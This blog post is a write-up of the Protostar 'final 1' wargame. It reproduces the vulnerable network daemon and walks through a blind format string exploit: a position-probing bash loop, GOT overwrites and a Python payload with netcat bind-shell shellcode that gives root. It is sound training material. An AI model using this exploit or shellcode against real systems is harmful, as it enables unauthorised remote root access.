Sunday, January 13, 2013

exploit-exercises Protostar: Final 1

This is the write-up for final 1 challenge of exploit-exercises' Protostar wargame. The source code of the vulnerable program is provided as follow:
#include "../common/common.c"

#include <syslog.h>

#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994

char username[128];
char hostname[64];

void logit(char *pw)
{
        char buf[512];

        snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);

        syslog(LOG_USER|LOG_DEBUG, buf);
}

void trim(char *str)
{
        char *q;

        q = strchr(str, '\r');
        if(q) *q = 0;
        q = strchr(str, '\n');
        if(q) *q = 0;
}

void parser()
{
        char line[128];

        printf("[final1] $ ");

        while(fgets(line, sizeof(line)-1, stdin)) {
                trim(line);
                if(strncmp(line, "username ", 9) == 0) {
                        strcpy(username, line+9);
                } else if(strncmp(line, "login ", 6) == 0) {
                        if(username[0] == 0) {
                                printf("invalid protocol\n");
                        } else {
                                logit(line + 6);
                                printf("login failed\n");
                        }
                }
                printf("[final1] $ ");
        }
}

void getipport()
{
        int l;
        struct sockaddr_in sin;

        l = sizeof(struct sockaddr_in);
        if(getpeername(0, &sin, &l) == -1) {
                err(1, "you don't exist");
        }

        sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}

int main(int argc, char **argv, char **envp)
{
        int fd;
        char *username;

        /* Run the process as a daemon */
        background_process(NAME, UID, GID);

        /* Wait for socket activity and return */
        fd = serve_forever(PORT);

        /* Set the client socket to STDIN, STDOUT, and STDERR */
        set_io(fd);

        getipport();
        parser();

}
The format string vulnerability occurs in the logit() function, more precisely in the syslog(LOG_USER|LOG_DEUG, buf) call which is passed user suplied data directly, instead of being passed a static string with a call in the form of syslog(LOG_USER|LOG_DEBUG, "%s", buf).
First thing to do is determining the parameter position at which we can read/write our input. One way to do it for a blind format string is to iterate over the positions, while attempting to write at a valid memory address, a GOT entry, for instance, but not the printf one as we need it to easily tell that it didn't crash. Consequently, when we hit an adequate position for our input (which will be the strncmp entry in the GOT), the program will not crash. And following is a bash script to automate it, we make 4 consecutives valid addresses to overwrite in our input (0x0804a1a8-0x0404a1ab) to differentiate the position we are looking for from other false positives.
kroosec@doj:~$ cat final1.sh
#!/usr/bin/env sh

for i in {10..30};
do
    echo -n "Position: $i ";
    python -c "print 'username A\n'+'login \xa8\xa1\x04\x08\xa9\xa1\x04\x08\xaa\xa1\x04\x08\xab\xa1\x04\x08%$i\$n\n'" \
        | nc 192.168.23.5 2994 \
        | grep "login failed";
    echo "";
done;
kroosec@doj:~$ bash final1.sh
Position: 10
Position: 11
Position: 12
Position: 13
Position: 14
Position: 15
Position: 16
Position: 17
Position: 18
Position: 19
Position: 20 [final1] $ [final1] $ login failed

Position: 21 [final1] $ [final1] $ login failed

Position: 22 [final1] $ [final1] $ login failed

Position: 23 [final1] $ [final1] $ login failed

Position: 24
Position: 25
Position: 26
Position: 27
Position: 28 [final1] $ [final1] $ login failed

Position: 29
Position: 30
Position 20 is what we are looking for. Now, it is time to start overwriting the GOT entry with correct values.
kroosec@doj:~$ python -c "print 'username A\n'+'login \xa8\xa1\x04\x08\xa9\xa1\x04\x08\xaa\xa1\x04\x08\xab\xa1\x04\x08x%20\$n%11x%21\$nx%22\$nx%23\$nAAAA'" | nc 192.168.23.5 2994

(gdb) x/x 0x0804a1a8
0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>:  0x675d564b

(gdb) x/30x buf
0xbffffa20: 0x69676f4c  0x7266206e  0x31206d6f  0x312e3239
0xbffffa30: 0x312e3836  0x3a31352e  0x38323533  0x73612034
0xbffffa40: 0x5d415b20  0x74697720  0x61702068  0x6f777373
0xbffffa50: 0x5b206472  0x0804a1a8  0x0804a1a9  0x0804a1aa
0xbffffa60: 0x0804a1ab  0x78303025  0x24303225  0x3131256e
0xbffffa70: 0x31322578  0x30256e24  0x32257830  0x256e2432
0xbffffa80: 0x43783030  0x33322543  0x41416e24  0x0a5d4141
0xbffffa90: 0xbffffb00  0xb7febfc6
Now we have to overwrite the address of our shellcode (0xbffffa8a) into the puts GOT entry (0x0804a194). After some offset calculations, we reach this point:
kroosec@doj:~$ python -c "print 'username A\n'+'login \x94\xa1\x04\x08\x95\xa1\x04\x08\x96\xa1\x04\x08\x97\xa1\x04\x08%71x%20\$n%111x%21\$n%261x%22\$n%192x%23\$n\xcc\xcc\xcc\xcc'" | nc 192.168.23.5 2994

(gdb) continue
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffffa8c in ?? ()
Now, we just have to use our replace the 0xcc sequence with our real shellcode.
kroosec@doj:~$ cat final1.py
#!/usr/bin/env python

payload  = "username A\n"
payload += "login \x94\xa1\x04\x08\x95\xa1\x04\x08\x96\xa1\x04\x08\x97\xa1\x04\x08"
payload += "%71x%20$n%111x%21$n%261x%22$n%192x%23$n"

shellcode  =  "\x31\xc0\x50\x68\x6e\x2f\x6e\x63"
shellcode +=  "\x68\x2f\x2f\x62\x69"
shellcode +=  "\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d"
shellcode +=  "\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68"
shellcode +=  "\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1"
shellcode +=  "\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31"
shellcode +=  "\xd2\xcd\x80"

payload += shellcode
print payload
And get a root shell.
kroosec@doj:~$ python final1.py | nc 192.168.23.5 2994 > /dev/null &
[1] 4748
kroosec@doj:~$ nc 192.168.23.5 6666
whoami

root
That is all for final 1 challenge.

No comments:

Post a Comment